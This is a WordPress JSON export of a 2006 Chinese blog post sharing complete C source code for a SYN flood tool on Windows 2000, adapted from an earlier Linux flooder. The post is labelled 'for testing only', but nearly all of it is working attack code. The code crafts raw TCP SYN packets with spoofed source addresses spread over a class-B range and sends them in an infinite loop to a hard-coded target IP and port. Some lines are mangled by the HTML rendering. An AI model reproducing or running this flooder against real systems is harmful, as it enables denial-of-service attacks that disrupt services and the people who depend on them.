{"id":17,"date":"2006-10-26T09:49:00","date_gmt":"2006-10-26T09:49:00","guid":{"rendered":"http:\/\/www.houquner.com\/?p=46"},"modified":"2006-10-26T09:49:00","modified_gmt":"2006-10-26T09:49:00","slug":"win2000%e4%b8%8b%e7%9a%84syn-flood%e6%ba%90%e4%bb%a3%e7%a0%81","status":"publish","type":"post","link":"https:\/\/www.houquner.com\/index.php\/archives\/17","title":{"rendered":"Win2000\u4e0b\u7684SYN Flood\u6e90\u4ee3\u7801"},"content":{"rendered":"<p>\u597d\u4e45\u4ee5\u524d\u4fee\u6539\u7684.\u4ec5\u4f9b\u6d4b\u8bd5\u4f7f\u7528\u3002<\/p>\n<p>\/\/\u9644\u5f55\uff1aWin2000\u4e0b\u7684SYN Flood\u7a0b\u5e8f<br \/>\n\/\/\u6539\u7f16\u81eaLinux\u4e0bZakath\u7f16\u5199\u7684SYN Flooder<br \/>\n\/\/\u7f16\u8bd1\u73af\u5883\uff1aVC++6.0,\u7f16\u8bd1\u65f6\u9700\u8981\u5305\u542bws2_32.lib#include &lt;winsock2.h&gt;<\/p>\n<h1>include &lt;Ws2tcpip.h&gt;<\/h1>\n<h1>include &lt;stdio.h&gt;<\/h1>\n<h1>include &lt;stdlib.h&gt;<\/h1>\n<h1>define SEQ 0x28376839<\/h1>\n<h1>define SYN_DEST_IP &#8220;10.0.3.1&#8221;\/\/\u88ab\u653b\u51fb\u7684IP<\/h1>\n<h1>define FAKE_IP &#8220;10.0.3.60&#8221; \/\/\u4f2a\u88c5IP\u7684\u8d77\u59cb\u503c\uff0c\u672c\u7a0b\u5e8f\u7684\u4f2a\u88c5IP\u8986\u76d6\u4e00\u4e2aB\u7c7b\u7f51\u6bb5<\/h1>\n<h1>define STATUS_FAILED 0xFFFF \/\/\u9519\u8bef\u8fd4\u56de\u503c<\/h1>\n<p>typedef struct _iphdr \/\/\u5b9a\u4e49IP\u9996\u90e8<\/p>\n<p>{<\/p>\n<p>unsigned char h_verlen; \/\/4\u4f4d\u9996\u90e8\u957f\u5ea6,4\u4f4dIP\u7248\u672c\u53f7<\/p>\n<p>unsigned char tos; \/\/8\u4f4d\u670d\u52a1\u7c7b\u578bTOS<\/p>\n<p>unsigned short total_len; \/\/16\u4f4d\u603b\u957f\u5ea6\uff08\u5b57\u8282\uff09<\/p>\n<p>unsigned short ident; \/\/16\u4f4d\u6807\u8bc6<\/p>\n<p>unsigned short frag_and_flags; \/\/3\u4f4d\u6807\u5fd7\u4f4d<\/p>\n<p>unsigned char ttl; \/\/8\u4f4d\u751f\u5b58\u65f6\u95f4 TTL<\/p>\n<p>unsigned char proto; \/\/8\u4f4d\u534f\u8bae (TCP, UDP \u6216\u5176\u4ed6)<\/p>\n<p>unsigned short checksum; \/\/16\u4f4dIP\u9996\u90e8\u6821\u9a8c\u548c<\/p>\n<p>unsigned int sourceIP; \/\/32\u4f4d\u6e90IP\u5730\u5740<\/p>\n<p>unsigned int destIP; \/\/32\u4f4d\u76ee\u7684IP\u5730\u5740<\/p>\n<p>}IP_HEADER;<br \/>\nstruct \/\/\u5b9a\u4e49TCP\u4f2a\u9996\u90e8<\/p>\n<p>{<\/p>\n<p>unsigned long saddr; \/\/\u6e90\u5730\u5740<\/p>\n<p>unsigned long daddr; \/\/\u76ee\u7684\u5730\u5740<\/p>\n<p>char mbz;<\/p>\n<p>char ptcl; \/\/\u534f\u8bae\u7c7b\u578b<\/p>\n<p>unsigned short tcpl; \/\/TCP\u957f\u5ea6<\/p>\n<p>}psd_header;<br \/>\ntypedef struct _tcphdr \/\/\u5b9a\u4e49TCP\u9996\u90e8<\/p>\n<p>{<\/p>\n<p>USHORT th_sport; \/\/16\u4f4d\u6e90\u7aef\u53e3<\/p>\n<p>USHORT th_dport; \/\/16\u4f4d\u76ee\u7684\u7aef\u53e3<\/p>\n<p>unsigned int th_seq; \/\/32\u4f4d\u5e8f\u5217\u53f7<\/p>\n<p>unsigned int th_ack; \/\/32\u4f4d\u786e\u8ba4\u53f7<\/p>\n<p>unsigned char th_lenres; \/\/4\u4f4d\u9996\u90e8\u957f\u5ea6\/6\u4f4d\u4fdd\u7559\u5b57<\/p>\n<p>unsigned char th_flag; \/\/6\u4f4d\u6807\u5fd7\u4f4d<\/p>\n<p>USHORT th_win; \/\/16\u4f4d\u7a97\u53e3\u5927\u5c0f<\/p>\n<p>USHORT th_sum; \/\/16\u4f4d\u6821\u9a8c\u548c<\/p>\n<p>USHORT th_urp; \/\/16\u4f4d\u7d27\u6025\u6570\u636e\u504f\u79fb\u91cf<\/p>\n<p>}TCP_HEADER;<br \/>\n\/\/CheckSum:\u8ba1\u7b97\u6821\u9a8c\u548c\u7684\u5b50\u51fd\u6570<\/p>\n<p>USHORT checksum(USHORT *buffer, int size)<\/p>\n<p>{<\/p>\n<p>unsigned long cksum=0;<\/p>\n<p>while(size &gt;1) {<\/p>\n<p>cksum+=*buffer++;<\/p>\n<p>size -=sizeof(USHORT);<\/p>\n<p>}<\/p>\n<p>if(size ) {<\/p>\n<p>cksum += <em>(UCHAR<\/em>)buffer;<\/p>\n<p>}<\/p>\n<p>cksum = (cksum &gt;&gt; 16) + (cksum &amp; 0xffff);<\/p>\n<p>cksum += (cksum &gt;&gt;16);<\/p>\n<p>return (USHORT)(~cksum);<\/p>\n<p>}<br \/>\n\/\/ SynFlood\u4e3b\u51fd\u6570<\/p>\n<p>int main()<\/p>\n<p>{<\/p>\n<p>int datasize,ErrorCode,counter,flag,FakeIpNet,FakeIpHost;<\/p>\n<p>int TimeOut=2000,SendSEQ=0;<\/p>\n<p>char SendBuf[128]={0};<\/p>\n<p>char RecvBuf[65535]={0};<\/p>\n<p>WSADATA wsaData;<\/p>\n<p>SOCKET SockRaw=(SOCKET)NULL;<\/p>\n<p>struct sockaddr_in DestAddr;<\/p>\n<p>IP_HEADER ip_header;<\/p>\n<p>TCP_HEADER tcp_header;<\/p>\n<p>\/\/\u521d\u59cb\u5316SOCK_RAW<\/p>\n<p>if((ErrorCode=WSAStartup(MAKEWORD(2,1),&amp;wsaData))!=0){<\/p>\n<p>fprintf(stderr,&#8221;WSAStartup failed: %dn&#8221;,ErrorCode);<\/p>\n<p>ExitProcess(STATUS_FAILED);<\/p>\n<p>}<\/p>\n<p>SockRaw=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED);<br \/>\nif (SockRaw==INVALID_SOCKET){<\/p>\n<p>fprintf(stderr,&#8221;WSASocket() failed: %dn&#8221;,WSAGetLastError());<\/p>\n<p>ExitProcess(STATUS_FAILED);<\/p>\n<p>}<\/p>\n<p>flag=TRUE;<\/p>\n<p>\/\/\u8bbe\u7f6eIP_HDRINCL\u4ee5\u81ea\u5df1\u586b\u5145IP\u9996\u90e8<\/p>\n<p>ErrorCode=setsockopt(SockRaw,IPPROTO_IP,IP_HDRINCL,(char *)&amp;flag,sizeof(int));<\/p>\n<p>if (ErrorCode==SOCKET_ERROR) printf(&#8220;Set IP_HDRINCL Error!n&#8221;);<\/p>\n<p>__try{<\/p>\n<p>\/\/\u8bbe\u7f6e\u53d1\u9001\u8d85\u65f6<\/p>\n<p>ErrorCode=setsockopt(SockRaw,SOL_SOCKET,SO_SNDTIMEO,(char*)&amp;TimeOut,sizeof(TimeOut));<\/p>\n<p>if(ErrorCode==SOCKET_ERROR){<\/p>\n<p>fprintf(stderr,&#8221;Failed to set send TimeOut: %dn&#8221;,WSAGetLastError());<\/p>\n<p>__leave;<\/p>\n<p>}<\/p>\n<p>memset(&amp;DestAddr,0,sizeof(DestAddr));<\/p>\n<p>DestAddr.sin_family=AF_INET;<\/p>\n<p>DestAddr.sin_addr.s_addr=inet_addr(SYN_DEST_IP);<\/p>\n<p>FakeIpNet=inet_addr(FAKE_IP);<\/p>\n<p>FakeIpHost=ntohl(FakeIpNet);<\/p>\n<p>\/\/\u586b\u5145IP\u9996\u90e8<\/p>\n<p>ip_header.h_verlen=(4&lt;&lt;4 | sizeof(ip_header)\/sizeof(unsigned long));<\/p>\n<p>\/\/\u9ad8\u56db\u4f4dIP\u7248\u672c\u53f7\uff0c\u4f4e\u56db\u4f4d\u9996\u90e8\u957f\u5ea6<\/p>\n<p>ip_header.total_len=htons(sizeof(IP_HEADER)+sizeof(TCP_HEADER)); \/\/16\u4f4d\u603b\u957f\u5ea6\uff08\u5b57\u8282\uff09<\/p>\n<p>ip_header.ident=1; \/\/16\u4f4d\u6807\u8bc6<\/p>\n<p>ip_header.frag_and_flags=0; \/\/3\u4f4d\u6807\u5fd7\u4f4d<\/p>\n<p>ip_header.ttl=128; \/\/8\u4f4d\u751f\u5b58\u65f6\u95f4TTL<\/p>\n<p>ip_header.proto=IPPROTO_TCP; \/\/8\u4f4d\u534f\u8bae(TCP,UDP&#8230;)<\/p>\n<p>ip_header.checksum=0; \/\/16\u4f4dIP\u9996\u90e8\u6821\u9a8c\u548c<\/p>\n<p>ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); \/\/32\u4f4d\u6e90IP\u5730\u5740<\/p>\n<p>ip_header.destIP=inet_addr(SYN_DEST_IP); \/\/32\u4f4d\u76ee\u7684IP\u5730\u5740<\/p>\n<p>\/\/\u586b\u5145TCP\u9996\u90e8<\/p>\n<p>tcp_header.th_sport=htons(4000); \/\/\u6e90\u7aef\u53e3\u53f7<\/p>\n<p>tcp_header.th_dport=htons(111); \/\/\u76ee\u7684\u7aef\u53e3\u53f7<\/p>\n<p>tcp_header.th_seq=htonl(SEQ+SendSEQ); \/\/SYN\u5e8f\u5217\u53f7<\/p>\n<p>tcp_header.th_ack=0; \/\/ACK\u5e8f\u5217\u53f7\u7f6e\u4e3a0<\/p>\n<p>tcp_header.th_lenres=(sizeof(TCP_HEADER)\/4&lt;&lt;4|0); \/\/TCP\u957f\u5ea6\u548c\u4fdd\u7559\u4f4d<\/p>\n<p>tcp_header.th_flag=2; \/\/SYN \u6807\u5fd7<\/p>\n<p>tcp_header.th_win=htons(16384); \/\/\u7a97\u53e3\u5927\u5c0f<\/p>\n<p>tcp_header.th_urp=0; \/\/\u504f\u79fb<\/p>\n<p>tcp_header.th_sum=0; \/\/\u6821\u9a8c\u548c<\/p>\n<p>\/\/\u586b\u5145TCP\u4f2a\u9996\u90e8\uff08\u7528\u4e8e\u8ba1\u7b97\u6821\u9a8c\u548c\uff0c\u5e76\u4e0d\u771f\u6b63\u53d1\u9001\uff09<\/p>\n<p>psd_header.saddr=ip_header.sourceIP; \/\/\u6e90\u5730\u5740<\/p>\n<p>psd_header.daddr=ip_header.destIP; \/\/\u76ee\u7684\u5730\u5740<\/p>\n<p>psd_header.mbz=0;<\/p>\n<p>psd_header.ptcl=IPPROTO_TCP; \/\/\u534f\u8bae\u7c7b\u578b<\/p>\n<p>psd_header.tcpl=htons(sizeof(tcp_header)); \/\/TCP\u9996\u90e8\u957f\u5ea6<\/p>\n<p>while(1) {<\/p>\n<p>\/\/\u6bcf\u53d1\u900110,240\u4e2a\u62a5\u6587\u8f93\u51fa\u4e00\u4e2a\u6807\u793a\u7b26<\/p>\n<p>printf(&#8220;.&#8221;);<\/p>\n<p>for(counter=0;counter&lt;10240;counter++){<\/p>\n<p>if(SendSEQ++==65536) SendSEQ=1; \/\/\u5e8f\u5217\u53f7\u5faa\u73af<\/p>\n<p>\/\/\u66f4\u6539IP\u9996\u90e8<\/p>\n<p>ip_header.checksum=0; \/\/16\u4f4dIP\u9996\u90e8\u6821\u9a8c\u548c<\/p>\n<p>ip_header.sourceIP=htonl(FakeIpHost+SendSEQ); \/\/32\u4f4d\u6e90IP\u5730\u5740<\/p>\n<p>\/\/\u66f4\u6539TCP\u9996\u90e8<\/p>\n<p>tcp_header.th_seq=htonl(SEQ+SendSEQ); \/\/SYN\u5e8f\u5217\u53f7<\/p>\n<p>tcp_header.th_sum=0; \/\/\u6821\u9a8c\u548c<\/p>\n<p>\/\/\u66f4\u6539TCP Pseudo Header<\/p>\n<p>psd_header.saddr=ip_header.sourceIP;<\/p>\n<p>\/\/\u8ba1\u7b97TCP\u6821\u9a8c\u548c\uff0c\u8ba1\u7b97\u6821\u9a8c\u548c\u65f6\u9700\u8981\u5305\u62ecTCP pseudo header<\/p>\n<p>memcpy(SendBuf,&amp;psd_header,sizeof(psd_header));<\/p>\n<p>memcpy(SendBuf+sizeof(psd_header),&amp;tcp_header,sizeof(tcp_header));<\/p>\n<p>tcp_header.th_sum=checksum((USHORT *)SendBuf,sizeof(psd_header)+sizeof(tcp_header));<\/p>\n<p>\/\/\u8ba1\u7b97IP\u6821\u9a8c\u548c<\/p>\n<p>memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));<\/p>\n<p>memcpy(SendBuf+sizeof(ip_header),&amp;tcp_header,sizeof(tcp_header));<\/p>\n<p>memset(SendBuf+sizeof(ip_header)+sizeof(tcp_header),0,4);<\/p>\n<p>datasize=sizeof(ip_header)+sizeof(tcp_header);<\/p>\n<p>ip_header.checksum=checksum((USHORT *)SendBuf,datasize);<\/p>\n<p>\/\/\u586b\u5145\u53d1\u9001\u7f13\u51b2\u533a<\/p>\n<p>memcpy(SendBuf,&amp;ip_header,sizeof(ip_header));<\/p>\n<p>\/\/\u53d1\u9001TCP\u62a5\u6587<\/p>\n<p>ErrorCode=sendto(SockRaw,<\/p>\n<p>SendBuf,<\/p>\n<p>datasize,<\/p>\n<p>0,<\/p>\n<p>(struct sockaddr*) &amp;DestAddr,<\/p>\n<p>sizeof(DestAddr));<\/p>\n<p>if (ErrorCode==SOCKET_ERROR) printf(&#8220;nSend Error:%dn&#8221;,GetLastError());<\/p>\n<p>}\/\/End of for<\/p>\n<p>}\/\/End of While<\/p>\n<p>}\/\/End of try<\/p>\n<p>__finally {<\/p>\n<p>if (SockRaw != INVALID_SOCKET) closesocket(SockRaw);<\/p>\n<p>WSACleanup();<\/p>\n<p>}<\/p>\n<p>return 0;<\/p>\n<p>}<\/p>\n<p>\u8f6c\u8f7d\u8bf7\u6ce8\u660e\uff1a<a href=\"https:\/\/www.houquner.com\">Kermit\u7684\u7f51\u7ad9<\/a> &raquo; <a href=\"https:\/\/www.houquner.com\/index.php\/archives\/17\">Win2000\u4e0b\u7684SYN Flood\u6e90\u4ee3\u7801<\/a><\/p>","protected":false},"excerpt":{"rendered":"<p>\u597d\u4e45\u4ee5\u524d\u4fee\u6539\u7684.\u4ec5\u4f9b\u6d4b\u8bd5\u4f7f\u7528\u3002 \/\/\u9644\u5f55\uff1aWin2000\u4e0b\u7684SYN Flood\u7a0b\u5e8f \/\/\u6539\u7f16\u81eaLinux\u4e0bZakath\u7f16\u5199\u7684SYN Flooder \/\/\u7f16\u8bd1\u73af\u5883\uff1aVC++6.0,\u7f16\u8bd1\u65f6\u9700\u8981\u5305\u542bws2_32.lib#include &lt;winsoc [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3],"tags":[],"class_list":["post-17","post","type-post","status-publish","format-standard","hentry","category-technology"],"_links":{"self":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts\/17"}],"collection":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/comments?post=17"}],"version-history":[{"count":0,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/posts\/17\/revisions"}],"wp:attachment":[{"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/media?parent=17"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/categories?post=17"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.houquner.com\/index.php\/wp-json\/wp\/v2\/tags?post=17"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}